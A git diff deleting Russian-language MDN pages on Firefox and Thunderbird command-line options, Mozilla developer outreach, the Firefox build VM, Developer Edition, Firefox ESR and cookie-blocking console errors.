diff --git a/files/ru/mozilla/command_line_options/index.html b/files/ru/mozilla/command_line_options/index.html deleted file mode 100644 index c4df2b09ad..0000000000 --- a/files/ru/mozilla/command_line_options/index.html +++ /dev/null @@ -1,473 +0,0 @@ ---- -title: Опции командной строки -slug: Mozilla/Command_Line_Options -translation_of: Mozilla/Command_Line_Options ---- -

Опции командной строки используются для определения различных параметров запуска приложений Mozilla. Например, вы можете использовать опции командной строки, чтобы обойти Менеджер Профилей и открыть определенный профиль (если у вас их несколько). Также вы можете управлять тем, как открыть приложения Mozilla, какие компоненты открыть на начальном этапе, и что делать, когда они открываются. На этой странице описаны часто используемые опции и их применение.

- -

Правила синтаксиса

- -

Сначала давайте опишем синтаксические правила, которые применяются ко всем опциям.

- - - -

Использование опций командной строки

- -

Опции командной строки указываются после команды для запуска приложения. Некоторые опции имеют аргументы. Они указываются после опции командной строки. Некоторые опции имеют сокращения. Например, опция командной строки "-editor" может быть указана в сокращённой форме как "-edit". (Доступные сокращения описаны в тексте ниже). В некоторых случаях аргументы опций должны быть заключены в кавычки. (Это отмечено в описаниях опций ниже). Могут быть указаны несколько опций командной строки. В общем случае, их синтаксис следующий:

- -
application -option -option "argument" -option argument
-
- -

Примеры

- -

Следующие примеры иллюстрируют использование опции "-ProfileManager", которая открывает Менеджер профилей перед запуском Firefox или Thunderbird:

- -

Windows

- -

Выберите «Выполнить» в меню «Пуск» Windows и введите:

- -
firefox -ProfileManager
-
- -

Mac OS X

- -

Перейдите в Applications > Utilities. Откройте терминал и введите:

- -
/Applications/Firefox.app/Contents/MacOS
-./firefox -ProfileManager
-
- -

Linux

- -

Откройте терминал и введите:

- -
cd Thunderbird installation directory
-./thunderbird -ProfileManager
-
- -

Пример выше использует опцию командной строки "-ProfileManager" для почтового клиента Mozilla Thunderbird.

- -

Профиль пользователя

- -

-CreateProfile profile_name

- -

Создаёт новый профиль с именем profile_name в директории по умолчанию, но не запускает приложение. Значение profile_name не должно содержать пробелов ( ).

- -

Для успешного использования не должно быть уже запущенных экземпляров приложения или использоваться опция -no-remote.

- -
firefox -CreateProfile JoelUser
-
- -

-CreateProfile "profile_name profile_dir"

- -

Создаёт новый профиль profile_name в директории profile_dir, но не запускает приложение. Обратите внимание, что profile_name и profile_dir заключены в кавычки вместе, и разделяются ровно одним пробелом ( ).

- -

Для успешного использования не должно быть уже запущенных экземпляров приложения или использоваться опция -no-remote.

- -
-

Примечание: Директория profile_dir не должна быть существующей и вы не должны иметь существующего профиля с именем profile_name.

-
- -
firefox -CreateProfile "JoelUser c:\internet\moz-profile"
-
- -

-ProfileManager

- -

Запуск Менеджера профилей. Короткая форма: -P (без имени пользователя).

- -

-P "profile_name"

- -

Пропускает запуск менеджера профилей и запускает приложение с профилем profile_name. Полезно при работе с несколькими профилями. Обратите внимание, что имя профиля profile_name регистрозависимо. Если имя профиля не указано, будет запущен диспетчер профилей. Вы должны использовать P в верхнем регистре на Linux с версиями меньше, чем 7.x, так как в нижнем регистре это приведёт к запуску в режиме очистки (обнаружения утечек памяти). На других платформах допустимо указание как в верхнем, так и в нижнем регистре.

- -
firefox -P "Joel User"
-
- -

-profile "profile_path"

- -

Запуск с профилем с указанным путём. Только Firefox, Thunderbird и SeaMonkey2.x.

- -

Путь "profile_path" может быть как абсолютным ("/path/to/profile"), так и относительным ("path/to/profile").

- -
Примечание: Указание относительного пути на Mac OS X больше не поддерживается из-за регрессии, начиная с Firefox 4.0 и выше, см. {{ bug(673955) }}.
- -

-new-instance

- -

Запускает новый экземпляр приложения вместо нового окна в уже запущенном приложении, что позволяет держать одновременно открытыми несколько копий приложения.

- -
firefox -new-instance -P "Another Profile"
- -
-

Примечание: Недоступно на Windows, см. {{ bug(855899) }}.

-
- -

-no-remote

- - -

Не разрешает принимать или посылать удалённые команды; неявное применение опции -new-instance.

- -
firefox -no-remote -P "Another Profile"
-
- -
Примечание: Начиная с Firefox 9, это действительно означает то, что подразумевается, на всех платформах, т.е. экземпляры, созданные с помощью этого параметра не принимают и не отправляют удалённых команд, см. {{ bug(650078) }}. Это означает то, что такие экземпляры не могут быть переиспользованы. Также при использовании этого аргумента в любом случае создаётся новый экземпляр.
- - -

-migration

- -

Запуск приложения с Мастером миграции.

- -

-override /path/to/override.ini

- -

Загружает указанный файл override.ini для переопределения application.ini ({{ Source("browser/app/application.ini") }}). Это может быть использовано для подавления Мастера миграции при запуске загрузкой следующего файла override.ini. Только Firefox.

- -
[XRE]
-EnableProfileMigrator=0
-
- -

Браузер

- -

-browser

- -

Запуск компонента браузера. Только Firefox и SeaMonkey.

- -

-url URL

- -

Открывает URL в новом окне или вкладке, в зависимости от настроек браузера. Имя опции -url может быть опущено. Допускается указание нескольких URL, разделённых пробелами. Только Firefox и SeaMonkey.

- -
Примечание: При открытии нескольких URL, Firefox всегда открывает их как вкладки в новом окне.
- -
firefox www.mozilla.com
-firefox www.mozilla.com developer.mozilla.org
-
- -

-private

- -

Открывает Firefox в режиме приватного просмотра. Только Firefox 3.6 и позже.

- -

Неприменимо в Ubuntu для Firefox 20 и позже.

- -

-private-window

- -

Открывает новое приватное окно существующего экземпляра Firefox. Только Firefox 20 и позже.

- -

-private-window URL

- -

Открывает URL в новом окне в режиме приватности. Если приватное окно уже открыто, будет открыта новая вкладка в существующем окне. Только Firefox 29 и позже. Не работает в Firefox 31 на linux mint 17 (страница открывается в неприватном окне).

- -

-new-tab URL

- -

Открывает URL в новой вкладке. Только Firefox и SeaMonkey2.x.

- -

-new-window URL

- -

Открывает URL в новом окне. Только Firefox и SeaMonkey2.x.

- -

-search term

- -

Поиск term в поисковом движке по умолчанию. Только Firefox и SeaMonkey 2.1 и позже.

- -

-preferences

- -

Открывает окно настроек. Только Firefox и SeaMonkey2.x.

- -

-setDefaultBrowser

- -

Устанавливает приложение браузером по умолчанию. Только Firefox.

- -

Почта и новости

- -

-mail

- -

Запускает почтовый клиент. Только Thunderbird и SeaMonkey.

- -

-news news_URL

- -

Запускает новостной клиент. Если указан news_URL (необязательный), открывает указанную группу новостей. Только Thunderbird и SeaMonkey.

- -
thunderbird -news news://server/group
-
- -

-compose message_options

- -

Открывает редактор почтовых сообщений. См. правила синтаксиса. Только Thunderbird и SeaMonkey.

- -
thunderbird -compose "to=foo@nowhere.net"
-
- -

-addressbook

- -

Открывает адресную книгу. Только Thunderbird и SeaMonkey.

- -

-options

- -

Открывает окно «Инструменты/Настройки». Только Thunderbird.

- -

-offline

- -

Запуск в режиме автономной работы. Только Thunderbird и SeaMonkey.

- -

-setDefaultMail

- -

Устанавливает приложение почтовым клиентом по умолчанию. Только Thunderbird.

- -

Календарь

- -

-calendar

- -

Запускает приложение календаря. Только Sunbird.

- -

-subscribe URL или -url URL

- -

Подписаться на указанный URL. Только Sunbird.

- -

-showdate date

- -

Показать ваше расписание на указанную дату date. Только Sunbird.

- -
sunbird -showdate 08/04/2008
-
- -

Другие компоненты

- -

-editor URL или -edit URL

- -

Запускает редактор для указанного URL (где URL — необязательный параметр). Только SeaMonkey.

- -
seamonkey -edit www.mozilla.org
-
- -

-jsdebugger

- -

Запуск приложения с панелью инструментов браузера (ранее — отладчик браузера). Это отличается от отладчика Venkman (см. опцию -venkman).

- -

-jsconsole

- -

Запускает приложение с открытой консолью ошибок или, в случае Firefox, консолью браузера.

- -

-start-debugger-server port

- -

Только Firefox. Запускает сервер отладки на порте port. Разрешает запуск ещё одного экземпляра Firefox для подключения инструментов разработки Firefox к данному экземпляру Firefox. См. статью об удалённой отладке Firefox.

- -

-inspector URL

- -

Запуск инспектора DOM, если он установлен, и просмотр указанного URL (где URL — необязательный параметр).

- -

-venkman

- -

Запуск с отладчиком JavaScript Venkman, если он установлен.

- -

-purgecaches

- -

Очистка JavaScript-кэша Gecko (движка браузера) при запуске.

- -

-chat

- -

Запуск с IRC-клиентом ChatZilla, если он установлен.

- -

XULRunner

- -

-app /path/to/application.ini

- -

Запускает новый процесс XULRunner в расположении path/to. Также работает для Firefox версии 3 и выше.

- -

--register-global

- -

Регистрирует XULRunner в системе для всех пользователей. Должен быть запущен с правами root или администратора.

- -

--register-user

- -

Регистрирует XULRunner для отдельного пользователя.

- -

--unregister-global

- -

Отменяет регистрацию XULRunner для всех пользователей.

- -

--unregister-user

- -

Отменяет регистрацию XULRunner для отдельного пользователя.

- -

--install-app path/to/myapplication.(xpi|xulapp)

- -

Устанавливает в системе приложение XULRunner в расположение path/to. Приложения устанавливаются в расположение по умолчанию для вашей системы (Program files|Applications|usr/lib) в папку vendorname/applicationName. Приложения могут быть удалены используемым вашей системой способом.

- -
"C:\Program Files\Mozilla XULRunner\1.8.0.4\xulrunner\xulrunner.exe" --install-app "C:\Users\Billdo\Desktop\myapplication.xpi"
- -
/opt/xulrunner/1.8.0.4/xulrunner/xulrunner --install-app ~/Desktop/myapplication.xulapp
- -
/Library/Frameworks/XUL.framework/xulrunner-bin --install-app ~/Desktop/myapplication.xpi
- -

Chrome

- -

-chrome chrome_URL

- -

Загружает указанный хром.

- -
firefox -chrome chrome://inspector/content
-
- -

-register chrome_URL

- -

Регистрирует указанный хром, но не запускает приложение.

- -

Дополнения

- -

{{ gecko_minversion_note("1.9.2", "Опции -install-global-extension и -install-global-theme были удалены из Gecko 1.9.2 и выше.") }}

- -

-install-global-extension /path/to/extension

- -

Устанавливает расширение в папку приложения. В качестве параметра указывается путь к расширению. Для установки необходимо иметь права администратора.

- -

-install-global-theme /path/to/theme

- -

То же, что и выше, по отношению к темам. Для установки необходимо иметь права администратора.

- -
-

Примечание: Начиная с Firefox 2.0.0.7, использование опций командной строки -install-global-extension и -install-global-theme было ограничено установкой только тех дополнений, которые находятся на локальном или сетевом диске. Установка напрямую из общего сетевого ресурса больше не разрешается.

-
- -

-safe-mode

- -

Запускает приложение с отключёнными дополнениями только для данного сеанса. (Расширения не загружаются, но не отключены постоянно в менеджере расширений).

- -

Локализация

- -

-UILocale locale

- -

Запуск с языком пользователького интерфейса, указанным в locale.

- -
firefox -UILocale en-US
-
- -

Удаленное управление

- -

-remote remote_command {{deprecated_inline}}

- -
-

Примечание: Эта функция была удалена в Firefox 36.0, восстановлена в 36.0.1 и снова удалена в версии 39.0. См. {{ bug(1080319) }}.

-
- -

Выполняет удалённую команду remote_command в уже запущенном процессе приложения (см. remote control).

- -
firefox -remote "openURL(www.mozilla.org, new-tab)"
-
- -
-

Примечание: Эта опция доступна только для UNIX-платформ под управлением X-Windows.

-
- -

Разное

- -

-tray

- -

Запуск приложения свёрнутым в трей. Полезно при автозапуске.

- -

-silent

- -

Не открывать окна по умолчанию. Полезно при использовании с опциями, открывающими собственные окна, но не препятствующими открыванию окон по умолчанию. Только Firefox, Thunderbird3.x и SeaMonkey2.x.

- -

-console

- -

Запуск приложения с консолью отладки.

- -
-

Примечание: Поддерживается только для Windows.

-
- -

-attach-console

- -

Записывать сообщения в консоль отладки окна, которое запустило приложение, вместо открытия нового окна для сообщений отладки.

- -
-

Примечание: Поддерживается только для Windows.

-
- -

-h, -help или -?

- -

Выводит список всех доступных опций командной строки. Обратите внимание, что на Windows эта опция работает только с перенаправлением  |more ({{ Bug(355889) }}):

- -
C:\Program Files\Mozilla Firefox>firefox -help | more
- -

Эта опция доступна только из командной строки.

- -

-v или -version

- -

Выводит версию приложения. Обратите внимание, что на Windows эта опция работает только с перенаправлением |more ({{ Bug(355889) }}, см. пример выше). Эта опция доступна только из командной строки.

- -

-osint

- -

Указывает приложению, что оно было запущено из системной консоли. Не должно указываться, если вызывающая сторона предоставляет все функциональные возможности, предоставляемые консолью операционной системы при запуске приложения ({{ Bug(384384) }}).

- -

-requestPending

- -

Указывает приложению, что был послан запрос Windows DDE для открытия ссылки, переданной в командной строке. Не должно указываться, если вызывающая сторона предоставляет все функциональные возможности, предоставляемые консолью операционной системы при запуске приложения ({{ Bug(354005) }}).

- -

Опции X11

- -

Следующие опции доступны только для приложения, собранного и запущенного в системе окон X11/X.org на Linux и других UNIX-подобных системах.

- -

--display=DISPLAY

- -

Установить отображение X для использования.

- -

--class=WM_CLASS

- -

Установить класс ресурсов WM_CLASS окон X11, созданных приложением.

- -

--sync

- -

Сделать все вызовы X синхронными.

- -

--g-fatal-warnings

- -

Сделать все предупреждения фатальными.

- -

Другие опции, нуждающиеся в документировании

- - - -

Ссылки

- - - -
-

Original Document Information

- -
    -
  • Author(s): Ben Goodger, Steffen Wilberg, Seth Spitzer, Daniel Wang
  • -
  • Copyright Information: Portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a Creative Commons license | Details.
  • -
-
diff --git a/files/ru/mozilla/connect/index.html b/files/ru/mozilla/connect/index.html deleted file mode 100644 index b2bfb6e752..0000000000 --- a/files/ru/mozilla/connect/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Присоединяйтесь к Mozilla -slug: Mozilla/Connect -tags: - - Landing -translation_of: Mozilla/Connect ---- -

Делайте возможным, вдохновляйте и сотрудничайте, чтобы сделать Веб основной платформой для создания впечатлений на всех подключенных устройствах.

- -
-
- -
- -
- -
- -
- -
-
- -
-

Соединяйтесь с Mozilla

- -

Разработчики создают будущее, строят сервисы и приложения для людей во всем мире. Цель Mozilla Developer Relations - помочь разработчикам использовать открытые и стандартизированные веб-технологии, чтобы добиться успеха в достижении своих целей. Мы предлагаем помощь и другие ресурсы для достижения этой цели, по различным каналам. Мы приглашаем Вас подключиться, учиться и делиться своими знаниями.

- -

Свяжитесь с нами через devrel@mozilla.com или на IRC канале irc.mozilla.org #devrel. Также у нас есть новостная рассылка, позволяющая вам оставаться в курсе последних событий в Веб-сфере, веб-приложениях и многом другом. Подпишитесь на новостную рассылку Apps & Hacks.

- -

У нас есть много планов и идей для итеративного расширения наших предложений Developer Relations, и мы хотим, чтобы вы стали участником того, что мы делаем! Поэтому подпишитесь на блог Hacks и подпишитесь на нашу новостную рассылку!

- -

Если вы есть на Twitter, подпишитесь на нас и узнавайте об обновлениях документации, работе, возможностях помочь и многом другом.

- -

Присоединяйтесь к Mozilla

- -

Если вы хотите с головой окунуться в Mozilla, вы можете присоединиться к Mozilla и помочь реализовать миссию Mozilla - построение лучшего Интернета. Как у разработчика, у вас есть навыки вносить вклад в множество областей, а также возможность их улучшить. Mozilla - проект с открытым исходным кодом, поэтому мы "открыты по умолчанию". Вы можете "просматривать исходники" и внести вклад в наши проекты, такие как браузер Firefox для компьютера и Android, Firefox OS и сайты Mozilla. Вы можете стать частью международного сообщества и получить признание ваших усилий. Вот некоторые преимущества помощи проекту Mozilla.

- -

Возможность узнать что-то новое

- -
-

В написании кода для проекта с открытым исходным кодом, вы сталкиваесь с проблемами, с которыми не встречались раньше, которые представляют собой возможность для вашего обучения. В проекте с открытым исходным кодом вы можете попробовать новые инструменты и техники. Например, если вы никогда не делали юнит-тестирование, а также не имели разрешения делать так на работе, то написание кода для открытого проекта будеть отличной возможностью узнать об этом больше. Внос вклада в открытый код даёт вам возможность сотрудничать и познакомиться с множеством людей по всему миру, у кого есть похожие интересы. Кроме того, у открытой организации, как Mozilla есть множество помощников, которые могут помочь вам с решением проблем, с которыми вы сталкиваетесь. Если вы только начинаете помогать, вы можете поискать "наставнические" ошибки, где опытный участник предлагает помощь новичку в их исправлении.

- -

Что я получу, если помогу?

- -

Исследуя множество вещей и зарабатывая признание в сообществе - нематериальная выгода вклада в Mozilla. Тогда как, мы не можем гарантировать специфичную материальную выгоду, многие ценные участники получают бесплатную мощь Mozilla и приглашения на события, относящиеся к Mozilla, а также являются первыми в очереди рассматриваемых на стажировку. Кроме того, ваш опыт в помощи открытому проекту поможет вам найти работу. Всё больше и больше работодателей обращают внимание на это. Им было бы приятно видеть, что вы ведёте блог и сотрудничаете в списках рассылки, а также им хотелось увидеть вас как помощника в открытом проекте. Также это поможет вам с секцией опыта работы в вашем резюме.

- -

Как вы можете помочь Mozilla

- -

Если много областей проектов, в которых вы можете помочь Mozilla. Вы можете найти текущий, полный список на странице Mozilla Станьте волонтёром. Некоторые области, которые могут быть вам интересны, как разработчику:

- - -
-
- -
-
 
-
- -

Разработчики на семинаре Firefox OS в Мадриде.

- -
- - -
-

Другие_ресурсы

- - -
-
diff --git a/files/ru/mozilla/connect_clone/index.html b/files/ru/mozilla/connect_clone/index.html deleted file mode 100644 index 516f788f7f..0000000000 --- a/files/ru/mozilla/connect_clone/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Connect with Mozilla -slug: Mozilla/Connect_clone ---- -
-

Enable, inspire and collaborate to make the Web the primary platform used to create experiences across all connected devices.

-
- -
-
-
- -
- -
- -
- -
- -
-
- -
-

Connect with Mozilla

- -

Developers are creating the future by building services and apps for people all over the world. The goal of Mozilla Developer Relations is to help developers to use open and standardized web technologies to succeed in achieving their goals. In addition to the documentation here on MDN, we offer help and other resources towards this goal, through various channels. We invite you to connect, learn, and share your own knowledge.

- -

We are offering help through Q&A on Stack Overflow, to solve specific technical issues and challenges you might have. We also have a newsletter keeping you informed on the latest happenings in the web scene around web apps and more. Subscribe to the Apps & Hacks newsletter.

- -

We have a lot of plans and ideas for iteratively expanding our Developer Relations offerings, and we want you involved as we do so! So, follow the tags on Stack Overflow, subscribe to the Hacks blog, subscribe to the newsletter, and sign up for an account!

-
- -
-
-

Q&A on Stack Overflow See all Q&A...

- -

We have Q&A to discuss challenges and issues when developing, in particular for Firefox OS and the Open Web on mobile. It's available on Stack Overflow under the easy URL http://stackoverflow.com/r/mozilla.

- -
Stack form
- -

Latest Q&A Topics

-
- -
 
-
- -

Developers at a Firefox OS workshop in Madrid.

- -
-
-

Where is Mozilla? View attendees and details on our Events page...

- -

Here is a listing of events where Mozilla representatives will be speaking. Make sure to talk to them!

-
- - -
-
- -

 

diff --git a/files/ru/mozilla/developer_guide/using_the_vm/index.html b/files/ru/mozilla/developer_guide/using_the_vm/index.html deleted file mode 100644 index fd5287faa2..0000000000 --- a/files/ru/mozilla/developer_guide/using_the_vm/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Using the Mozilla build VM -slug: Mozilla/Developer_guide/Using_the_VM -tags: - - Mozilla - - Гайд -translation_of: Archive/Mozilla/Using_the_VM ---- -
-

Примечание: эта статья, по-видимому, не содержит рабочей альтернативы. Пока мы будем выяснять что происходит, возможно, вам стоит взглянуть на Building Firefox.

-
- -

Если вы когда-нибудь думали, что вклад в Firefox был бы не плох, но у вас никогда не было времени, чтобы прочитать и следовать нашему instructions to setup a build environment или вы хотите избежать внесения изменений в стандартные инструменты и конфигурацию, тогда это может быть для вас полезно. Mozilla предоставляет виртуальную машину (VM), которая совместима с бесплатным VirtualBox, программным обеспечением для виртуализации (а также другим, в том числе VMWare/VMWare Fusion).

- -

В этой статье приведены простые инструкции по загрузке, установке и настройке этой среды сборки build machine; как только вы выполните следующие действия, у вас будет готовая виртуальная машина для изменения и настройки Firefox.

- -

Надеюсь, что эта виртуальная машина особенно поможет разработчикам или потенциальным разработчикам, которые не имеют полной среды разработки C++, доступной для них, а также опытным разработчикам, не имеющим времени на настройку системы сборки, следуя обычным инструкциям.

- -

Установка VirtualBox

- -

Посетите VirtualBox downloads page и загрузите последнюю версию программного обеспечения для вашей операционной системы.

- -
-

Примечание: если у вас уже установлен продукт виртуализации, такой как VirtualBox, VMWare или VMWare Fusion, вы можете использовать его вместо загрузки новой копии VirtualBox. Просто убедитесь, что у вас есть последняя версия программного обеспечения. Обратите внимание, что Parallels Desktop не поддерживает формат OVF.

-
- -

Загрузка VM

- -

Затем загрузите виртуальную машину среды разработки Firefox.

- -

Download the VM

- -

SHA-256: 1c84eaf97ea2a9a3c990051306a038da9541a450fd600878e7c1f984fa930f35

- -
-

Примечание: этот файл занимает около 4,4 ГБ, поэтому его загрузка может занять некоторое время.

-
- -

Установка VM

- -

Когда .ova файл загружен, дважды щелкните по нему. Это запустит процесс импорта виртуальной машины в VirtualBox. Пожалуйста, дайте виртуальной машине минимум 4096 МБ оперативной памяти (8192 Мб или больше, если вы можете) и установите для нее то же количество процессоров, что и у вашего хост-компьютера. Построение Firefox использует много системных ресурсов, и лучше, чтобы он строился как можно быстрее.

- -

Screen shot of the Import Virtual Appliance window

- -

После завершения импорта виртуальной машины вы можете выполнить дополнительные настройки, если хотите, или просто загрузить виртуальную машину и дождаться появления рабочего стола Ubuntu. Окно терминала автоматически появится и выполнит некоторые заключительные действия по настройке. Как только они закончат работать, Sublime Text запустится, и вы сможете приступить к работе!

- -

Screen shot of the Sublime Text editor running in the VM

- -
-

Примечание: Если вам когда-нибудь понадобятся учетные данные root, используйте "firefox-dev" в качестве пароля. Если вы хотите изменить язык и настройки клавиатуры, следуйте инструкциям в разделе How to change the UI language in Ubuntu.

-
- -

Сборка Firefox

- -

Чтобы собрать Firefox в виртуальной машине, откройте меню Сервис и выберите опцию построить. Процесс сборки начнется, и у вас будет время для выпивки, хорошей еды или, возможно, короткого отпуска, в зависимости от того, насколько быстр ваш компьютер. Тебе нужно набраться терпения.

- -

После завершения сборки (successfully), выберите пункт Run в меню Tools, чтобы запустить пользовательскую сборку Firefox. Убедитесь, что все работает, как и ожидалось.

- -

По умолчанию виртуальная машина настроена на создание оптимизированной сборки Firefox. Вы можете легко переключиться на построение для отладки. Просто откройте меню Tools, а затем подменю Build System в нем. В последней из систем сборки, которая появляется в подменю, выберите "Firefox (Debug)". Вот и все! Ваша следующая сборка будет сборкой отладчика.

- -

Screen shot showing how to switch between debug; and optimized builds

- -

Работа в VM

- -

Отсюда вы работаете в виртуальной машине так же, как и в любом другом месте. Чтобы вытащить последний код из mozilla-central, просто используйте Mercurial как обычно:

- -
hg pull
- -

И вы submit your patches так же, как обычно.

- -

Что теперь?

- -

Теперь, когда вы успешно встроили Firefox в свою новую виртуальную машину, вам может быть интересно, что делать дальше. Отличный способ начать - выбрать небольшую, легко исправляемую ошибку и внести код, который исправит ее. Представьте, как здорово, когда написанный вами код отправляется полумиллиарду пользователей по всему миру!

- -

Вот некоторые ссылки, которые помогут вам найти то, что вы можете сделать, чтобы сделать Firefox лучше:

- - - -

Вы также можете задать начальные вопросы в разделе Introduction chat room в Matrix, и любые вопросы по развитию Firefox в developers room.

- -

Я сделал этот перевод, как только убедился в его отсутствии. Надеюсь, что и вы внесёте свой посильный вклад в доработку проектов Mozilla!

diff --git a/files/ru/mozilla/firefox/developer_edition/index.html b/files/ru/mozilla/firefox/developer_edition/index.html deleted file mode 100644 index 717de47b05..0000000000 --- a/files/ru/mozilla/firefox/developer_edition/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Developer Edition -slug: Mozilla/Firefox/Developer_Edition -tags: - - Beginner - - Firefox - - Landing -translation_of: Mozilla/Firefox/Developer_Edition ---- -
{{FirefoxSidebar}}

Версия Firefox специально для веб-разработчиков.

- -

Загрузить Firefox Developer Edition

- -
-
-
-

Последние функции в  Firefox

- -

Firefox Developer Edition заменяет канал Aurora в процессе разработки браузера Firefox. Как и в  Aurora, новые функции будут появлятся в релизе Developer Edition каждые шесть недель, после того как они будут стабилизированы в ночных сборках.

- -

При использовании версии Developer Edition, вы получаете доступ к инструментам и функциям платформы, опережающих основной релиз Firefox на 12 недель.

- -

Откройте, что нового в Firefox Developer Edition.

-
- -
-

Другая тема

- -

Сюда входит более быстрый доступ к инструментам разработчика.

- -

Экспериментальные инструменты разработчика

- -

Мы включили экспериментальные инструменты, которые еще не готовы для основного выпуска.

- -

Например, Developer Edition включает дополнение Valence, которое позволяет подключать Firefox developer tools к другим браузерам, таким как Chrome на Android и Safari на iOS.

-
-
- -
-
-

Отдельный профиль

- -

Firefox Developer Edition использует профиль, отдельный от других версий Firefox, установленных на вашем компьютере. Это означает, что вы можете легко запустить версию Developer Edition вместе с вашим выпуском или бета-версией Firefox.

-
- -
-

Внимание: Это означает, что при первом запуске Developer Edition вы увидите совсем не настроенный браузер, без дополнений, закладок, истории. Если хотите иметь одни и те же настройки в Developer Edition и других версиях Firefox, можете использовать Firefox Sync.

-
-
- -
-

Готов сразу для работы

- -

Мы установили опции по-умолчанию специально для веб-разработчиков. Например, по умолчанию включены отладка {{glossary("chrome","хром")}} и удалённая отладка.

-
- -

 

diff --git "a/files/ru/mozilla/firefox/developer_edition/\320\276\321\202\320\272\320\260\321\202/index.html" "b/files/ru/mozilla/firefox/developer_edition/\320\276\321\202\320\272\320\260\321\202/index.html" deleted file mode 100644 index cfe3fb9dbe..0000000000 --- "a/files/ru/mozilla/firefox/developer_edition/\320\276\321\202\320\272\320\260\321\202/index.html" +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Откат -slug: Mozilla/Firefox/Developer_Edition/Откат -translation_of: Mozilla/Firefox/Developer_Edition/Reverting ---- -
{{FirefoxSidebar}}

Откат темы Developer Edition

- -


- Если вы желаете использовать Developer Edition, но предпочитаете тему 'Australis', использовавшуюся в Firefox and Firefox Beta, вы можете переключиться в привычную тему Firefox: просто откройте панель "Изменить" и нажмите кнопку "Использовать тему Firefox Developer Edition".

- -

{{EmbedYouTube("OvJwofTjsNg")}}

- -

Учтите, что тема Developer Edition пока не совместима с облегченными темами. Так что если вы используете облегченную тему, вам необходимо вернуть тему Australis.

- -

Возврат к Firefox Aurora

- -


- Если вы хотите все pre-Beta возможности в Firefox Developer Edition, но вам не нужны все остальные изменения, то вы можете вернуть что-то наподобие старой доброй Firefox Aurora. При этом также вернутся ваши профиль и данные предыдущей сессии (вкладки и т.д.).  Это делается в два приема, и нужно выполнить их в следующей последовательности:

- -
    -
  1. Откройте страницу "Настройки" в Developer Edition, и снимите пометку с "Разрешить одновременный запуск Firefox Developer Edition and Firefox". Вам будет предложено перезапустить браузер.
  2. -
  3. После перезапуска вы можете отменить тему Developer Edition открыв панель "Изменить" и нажав на кнопку "Использовать тему Firefox Developer Edition".
  4. -
- -

{{EmbedYouTube("0Ofq-vlw8Qw")}}

diff --git a/files/ru/mozilla/firefox/firefox_esr/index.html b/files/ru/mozilla/firefox/firefox_esr/index.html deleted file mode 100644 index b40a987868..0000000000 --- a/files/ru/mozilla/firefox/firefox_esr/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Firefox ESR -slug: Mozilla/Firefox/Firefox_ESR -tags: - - CCK2 - - ESR - - Firefox - - Настольные компьютеры -translation_of: Mozilla/Firefox/Firefox_ESR ---- -
{{FirefoxSidebar}}

Firefox Extended Support Release (ESR) основанный на официальных выпусках Firefox для ПК и ноутбуков используется организациями, которым нужна расширенная поддержка для массового развертывания. ESR отличается от других выпусков отстутсвием добавлений новых возможностей каждые 6 недель. Выпуски ESR поддерживаются на протяжении года и получают только основные обновления безопасности и исправления стабильности. Актуальная ESR версия основана на Firefox 45 от 8 марта 2016. Следующая ESR версия будет иметь 52 номер.

- -

CCK2 - луший способ для индивидуализации Firefox. Загрузите его здесь.

- -

Мы настоятельно рекомендуем пользователям Firefox ESR подписаться на рассылку Корпоративной Рабочей Группы (EWG).

diff --git a/files/ru/mozilla/firefox/privacy/index.html b/files/ru/mozilla/firefox/privacy/index.html deleted file mode 100644 index c6a9e69b09..0000000000 --- a/files/ru/mozilla/firefox/privacy/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: Privacy -slug: Mozilla/Firefox/Privacy -tags: - - NeedsTranslation - - TopicStub -translation_of: Mozilla/Firefox/Privacy ---- -
{{FirefoxSidebar}}

{{ ListSubpages () }}

diff --git a/files/ru/mozilla/firefox/privacy/storage_access_policy/errors/cookieblockedforeign/index.html b/files/ru/mozilla/firefox/privacy/storage_access_policy/errors/cookieblockedforeign/index.html deleted file mode 100644 index 8f0361fba6..0000000000 --- a/files/ru/mozilla/firefox/privacy/storage_access_policy/errors/cookieblockedforeign/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: 'Заблокировано: Все сторонние запросы на доступ к хранилищу' -slug: Mozilla/Firefox/Privacy/Storage_access_policy/Errors/CookieBlockedForeign -tags: - - Куки - - Отслеживание - - Ошибки - - Хранилище - - политика доступа к хранилищу -translation_of: Mozilla/Firefox/Privacy/Storage_access_policy/Errors/CookieBlockedForeign ---- -
{{FirefoxSidebar}}
- -

Сообщение

- -

Firefox (англ.):

- -
CookieBlockedForeign=Request to access cookies or storage on “X” was blocked because we are blocking all third-party storage access requests and content blocking is enabled.
- -

Firefox:

- -
CookieBlockedForeign=Запрос на доступ к куке или хранилищу на «X» был заблокирован, в связи с тем, что пользователем заблокированы все сторонние запросы доступа к хранилищу, а также включена блокировка содержимого.
- -

Что не так?

- -

Запрос на доступ к куки-файлам или хранилищу был заблокирован, потому что он пришёл из третьей стороны (другого веб-сайта) и блокировка контента включена.

- -

Доступ может быть изменено или удалено так:

- - - -

If the resource that is being blocked doesn't need authentication, you can fix the warning message by adding a crossorigin="anonymous" attribute to the relevant element.

- -

See also

- - diff --git a/files/ru/mozilla/firefox/privacy/storage_access_policy/errors/cookieblockedtracker/index.html b/files/ru/mozilla/firefox/privacy/storage_access_policy/errors/cookieblockedtracker/index.html deleted file mode 100644 index 278e7454bc..0000000000 --- a/files/ru/mozilla/firefox/privacy/storage_access_policy/errors/cookieblockedtracker/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: 'Заблокировано: запросы на доступ к хранилищу от трекеров' -slug: Mozilla/Firefox/Privacy/Storage_access_policy/Errors/CookieBlockedTracker -translation_of: Mozilla/Firefox/Privacy/Storage_access_policy/Errors/CookieBlockedTracker ---- -
{{FirefoxSidebar}}
- -

Сообщение

- -

Firefox:

- -
CookieBlockedTracker=Запрос на доступ к куке или хранилищу на  “X”  был заблокирован, в связи с тем, что он поступил от трекера, при включенной блокировке содержимого.
-
- -

Что пошло не так?

- -

Запрос на доступ к cookies или хранилищу был заблокирован, поскольку браузер определил его как поступающий от трекера, и блокировка контента включена.

- -

Разрешение может быть изменено или удалено:

- - - -

